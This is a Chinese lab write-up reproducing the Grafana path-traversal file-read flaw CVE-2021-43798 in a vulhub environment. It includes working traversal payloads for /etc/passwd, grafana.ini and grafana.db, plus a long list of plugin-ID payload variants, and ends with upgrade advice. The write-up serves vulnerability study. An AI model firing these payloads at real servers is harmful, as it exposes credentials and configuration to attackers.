Grafana任意文件读取漏洞(CVE-2021-43798)

1.漏洞描述

        Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后,Grafana可以在网络浏览器里显示数据图表和警告。未授权的攻击者利用该漏洞,能够获取服务器敏感文件。

2.影响版本

Grafana 8.0.0 - 8.3.0

3.漏洞环境搭建

更新vulhub目录,进入vulhub/grafana/CVE-2021-43798

docker-compose up –d #下载安装漏洞镜像

Grafana任意文件读取漏洞(CVE-2021-43798)_第1张图片

访问目标3000端口

Grafana任意文件读取漏洞(CVE-2021-43798)_第2张图片

4.漏洞复现

访问登陆页面,使用burp抓包,修改成payload

/public/plugins/gettingstarted/../../../../../../../../../../../../../../../etc/passwd

Grafana任意文件读取漏洞(CVE-2021-43798)_第3张图片

读取Grafana配置文件

/public/plugins/gettingstarted/../../../../../../../../../../../../../../../etc/grafana/grafana.ini

Grafana任意文件读取漏洞(CVE-2021-43798)_第4张图片

读取Grafana数据库

/public/plugins/gettingstarted/../../../../../../../../../../../../../../../var/lib/grafana/grafana.db

Grafana任意文件读取漏洞(CVE-2021-43798)_第5张图片

        gettingstarted是插件ID,Grafana默认安装的就有。也可以改成别的插件ID,其他师傅fuzz的插件清单https://github.com/jas502n/Grafana-CVE-2021-43798/blob/main/README.md

/public/plugins/alertGroups/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/alertmanager/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/canvas/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/dashboard/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/debug/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/grafana/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/live/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/mixed/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/xychart/../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../etc/passwd

 

5.修复建议

升级Grafana至最新版本。

你可能感兴趣的:(安全,elasticsearch)